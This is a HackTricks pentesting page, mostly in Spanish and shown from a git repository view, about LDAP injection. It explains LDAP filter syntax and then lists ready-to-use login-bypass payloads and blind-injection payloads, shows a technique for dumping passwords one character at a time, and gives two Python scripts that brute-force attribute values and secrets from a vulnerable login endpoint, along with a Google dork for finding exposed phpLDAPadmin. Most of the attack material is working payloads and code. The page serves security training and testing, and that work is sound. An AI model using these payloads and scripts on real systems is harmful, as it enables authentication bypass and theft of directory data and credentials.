hacktricks/pentesting-web/ldap-injection.md

247 lines
9.2 KiB
Markdown
Raw Normal View History

# LDAP Injection
2023-06-05 18:33:24 +00:00
## LDAP Injection
2023-06-05 18:33:24 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 18:33:24 +00:00
<details>
2023-06-05 18:33:24 +00:00
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2023-06-05 18:33:24 +00:00
</details>
{% endhint %}
2023-06-05 18:33:24 +00:00
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
2023-06-05 18:33:24 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2023-06-05 18:33:24 +00:00
## LDAP Injection
2023-06-05 18:33:24 +00:00
### **LDAP**
**Si quieres saber qué es LDAP accede a la siguiente página:**
2023-06-05 18:33:24 +00:00
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
**LDAP Injection** es un ataque dirigido a aplicaciones web que construyen declaraciones LDAP a partir de la entrada del usuario. Ocurre cuando la aplicación **no sanitiza adecuadamente** la entrada, permitiendo a los atacantes **manipular declaraciones LDAP** a través de un proxy local, lo que puede llevar a acceso no autorizado o manipulación de datos.
2023-06-05 18:33:24 +00:00
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
2023-06-05 18:33:24 +00:00
**Filter** = ( filtercomp )\
2023-06-05 18:33:24 +00:00
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
**(&)** = Absolute TRUE\
**(|)** = Absolute FALSE
2023-06-05 18:33:24 +00:00
Por ejemplo:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
Puedes acceder a la base de datos, y esto puede contener información de muchos tipos diferentes.
2023-06-05 18:33:24 +00:00
**OpenLDAP**: Si llegan 2 filtros, solo ejecuta el primero.\
**ADAM o Microsoft LDS**: Con 2 filtros lanzan un error.\
2023-06-05 18:33:24 +00:00
**SunOne Directory Server 5.0**: Ejecuta ambos filtros.
**Es muy importante enviar el filtro con la sintaxis correcta o se lanzará un error. Es mejor enviar solo 1 filtro.**
El filtro debe comenzar con: `&` o `|`\
Ejemplo: `(&(directory=val1)(folder=public))`
`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
Luego: `(&(objectClass=`**`*)(ObjectClass=*))`** será el primer filtro (el que se ejecuta).
2023-06-05 18:33:24 +00:00
### Login Bypass
2023-06-05 18:33:24 +00:00
LDAP soporta varios formatos para almacenar la contraseña: claro, md5, smd5, sh1, sha, crypt. Por lo tanto, podría ser que independientemente de lo que insertes dentro de la contraseña, esta sea hasheada.
2023-06-05 18:33:24 +00:00
```bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
```
```bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
```
```bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
```
```bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
```
```bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
```
```bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
```
```bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
```
```bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
```
```bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
#### Listas
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
* [Atributos LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [Atributos de PosixAccount LDAP](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
2023-06-05 18:33:24 +00:00
### Inyección LDAP Ciega
2023-06-05 18:33:24 +00:00
Puedes forzar respuestas Falsas o Verdaderas para verificar si se devuelve algún dato y confirmar una posible Inyección LDAP Ciega:
2023-06-05 18:33:24 +00:00
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
```
```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### Dump data
2023-06-05 18:33:24 +00:00
Puedes iterar sobre las letras ascii, dígitos y símbolos:
2023-06-05 18:33:24 +00:00
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
```
### Scripts
#### **Descubrir campos LDAP válidos**
Los objetos LDAP **contienen por defecto varios atributos** que podrían ser utilizados para **guardar información**. Puedes intentar **forzar todos ellos para extraer esa información.** Puedes encontrar una lista de [**atributos LDAP por defecto aquí**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
2023-06-05 18:33:24 +00:00
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
2023-06-05 18:33:24 +00:00
```
#### **Inyección LDAP Ciega Especial (sin "\*")**
2023-06-05 18:33:24 +00:00
```python
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
2023-06-05 18:33:24 +00:00
```
### Google Dorks
2023-06-05 18:33:24 +00:00
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### Más Payloads
2023-06-05 18:33:24 +00:00
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
2023-06-05 18:33:24 +00:00
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 18:33:24 +00:00
<details>
<summary>Apoya a HackTricks</summary>
2023-06-05 18:33:24 +00:00
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 18:33:24 +00:00
</details>
{% endhint %}